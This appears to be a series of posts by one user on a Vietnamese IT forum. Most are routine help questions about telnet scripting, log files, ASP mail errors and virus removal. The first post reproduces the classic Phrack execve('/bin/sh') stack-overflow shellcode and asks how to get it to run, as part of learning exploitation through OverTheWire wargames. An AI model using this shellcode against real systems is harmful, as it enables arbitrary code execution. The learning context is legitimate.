|
|
Xin chào mọi người, em hiện tại đang bắt đầu học exploit thông qua chơi game qua www.overthewire.org). Hiện tại em đang có vấn đề với việc build asm code để exploit stack over flow.
Code:
jmp 0x1f # 2 bytes
popl %esi # 1 byte (1)
movl %esi,0x8(%esi) # 3 bytes (2)
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes
Đây là code example trong tài liệu tham khảo http://www.phrack.com/issues.html?issue=49&id=14&mode=txt. Mục đích của đoạn asm code trên là lấy được address của string "bin/sh" truyền vào hàm execve -> exit -> spawn thành công shell.
1 -> ta thấy %esi lúc này chứa address của string "bin/sh" và lệnh tiếp theo để insert NULL vào cuối string để đánh đấu kết thúc string -> không bị lỗi khi insert thêm NOP để align string exploit sau này. Đây cũng là điểm khi em run code bị lỗi, %esi lúc này chứa address thuộc vùng .text nên lệnh movl %esi,0x8(%esi) luôn trả về error Segmentation fault khi run.
Câu hỏi của em là:
1. Có phải tài liệu này đã outdate và thời điểm hiện tại compiler đã thay đổi nên ví dụ trên không còn phù hợp nữa
2. Em thử tìm có 2 cách để make .text writable :
- thử build với option -N của ld
Code:
#!/bin/bash
gcc -c -o $1.o $1.s
ld -s -o -N $1 $1.o
-> không hoạt động
- dùng mprotect. Cách này có vẻ bất khả thi vì phải tính toán theo page_size khi runtime.
Có cách nào khác nữa để "make .text writable".
|
|
|
Bạn thử check lại shell của user ftp xem( nằm trong file /etc/passwd). Thường khi config tài khoản ftp thì để shell là /sbin/nologin. Khi đó user không thể login và browse directory
|
|
|
Chào mọi người, trong linux khi mình muốn ghi lại những tín hiệu mà 1 chương trình print or print error ra file thì dùng qua cú pháp
Code:
programxx > programxx.log
.
Ở đây em muốn hỏi nếu programxx kia chạy với khoảng thời gian dài, thì tối đa file programxx.log có thể đạt dung lượng bao nhiêu. Linux có cơ chế nào split file log trên thành nhiều file không?
|
|
|
Không em dùng membase, thằng này tệ quá nó không có API delete key(API : C hay Java).
|
|
|
Xin lỗi chỗ này em viết
Bình thường nhiều câu lệnh thực hiện liên tiếp thì cách nhau bởi |
do vội nên không được chính xác lắm, bổ sung thêm là output của lệnh trước sẽ là input cho lệnh sau.
Còn về đoạn expect của em đơn gian ví dụ như sau
Code:
#!/usr/bin/expect
set key [lindex $argv 0]
spawn telnet x.x.x.x x
expect " "
send "delete $key\r"
expect "DELETED"
send "quit"
Em đang dùng database dạng key-value và dùng telnet để làm việc trên đó trong 1 số trường hợp .
|
|
|
Cám ơn anh quanta, em làm được rồi bằng cách dùng expect. Nhưng em chưa hiểu rõ lắm cách làm của anh. Bình thường nhiều câu lệnh thực hiện liên tiếp thì cách nhau bởi |. Nhưng trong câu lệnh của anh thì mỗi echo là 1 input cho process telnet đang chạy. Em chưa hiểu rõ lắm chỗ này. Anh có thể giải thích rõ hơn được không?
|
|
|
cụ thể em muốn viết 1 file bash thực hiện 1 tập hợp các câu lệnh telnet với input là các tham số truyền vào
|
|
|
Chào mọi người, em đang viết 1 file bash và muốn truyền tham số vào câu lệnh telnet mà chưa biết làm thế nào.
Ai có kinh nghiệm về vấn đề này không chỉ giúp em
|
|
|
Em đã thay nó là localhost roài. Dùng SMTP có sẵn trong IIS
|
|
|
Em đã sửa như trên nhưng ko được. Ko phải lỗi ở đó.
Ai có kinh nghiệm làm về lập trình để website tự động send mail để active tài khoản thì giúp đỡ
|
|
|
em mới học về lập trình web và đang sử dụng asp jscript.
Em lập trình phần để khi người dùng đăng ký 1 nick ở website thì gửi mail kick hoạt đến cho người đó.
Nhưn em đang vướng mắc khí gửi mail thì code lỗi
myMail =Server.CreateObject("CDO.Message");
cdoConfig =Server.CreateObject("CDO.Configuration") ;
myMail.Subject = "Sending email with CDO";
myMail.From="admin@localhost";
myMail.To="kokichi88@gmail.com";
cdoConfig.Fields("http://schemas.microsoft.com/cdo/configuration/sendusing") = 1
cdoConfig.Fields("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
cdoConfig.Fields("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "mail-fwd";
cdoConfig.Fields("http://schemas.microsoft.com/cdo/configuration/smtpserverpickupdirectory") = "c:\inetpub\\";
cdoConfig.Update;
myMail.TextBody="This is a message.";
myMail.Send();// lỗi ở đây CDO.Message.1 error '80040220' The "SendUsing" configuration value is invalid.
myMail = null;
em nghĩ là do config ko đúng. Em cũng search tài liệu để sửa nhưng chưa đc. Mong có ai giúp đỡ
|
|
|
Có anh nào chỉ giúp em cách diệt con virus này cái.
Cứ mỗi lần khởi động chương trình diệt virus lại báo C:\WINDOWS\system32\MF_MJ_HOOK.DLL(nhiễm virus W32.OnlinegamePPDll.Worm)
C:\WINDOWS\system32\Kvsc.dll(W32.OnlinegamePMDll.Worm)
C:\WINDOWS\system32\MslMMs32.dll(W32.OnlinegameKSDll.Trojan)
Em cài cả Norton anti virus mà cũng không diệt được con này bởi nó rất làm cho 1 chương trình đang chạy của mình bị treo cứ 15-30p 1 lần và tự khởi động lại luôn. . Thế là ct đang chạy ngon lại bị treo. Giờ em không biết phải làm thế nào. Mong các cao thủ ra tay giúp đỡ chỉ em cách kill con này. Bác nào chỉ em cach diệt bằng tay thì càng tốt.
|
|
|
Xin hỏi đàn anh. Muốn cho forum của mình co thể post được nhạc lên thì phải làm như thế nào ạ.
|
|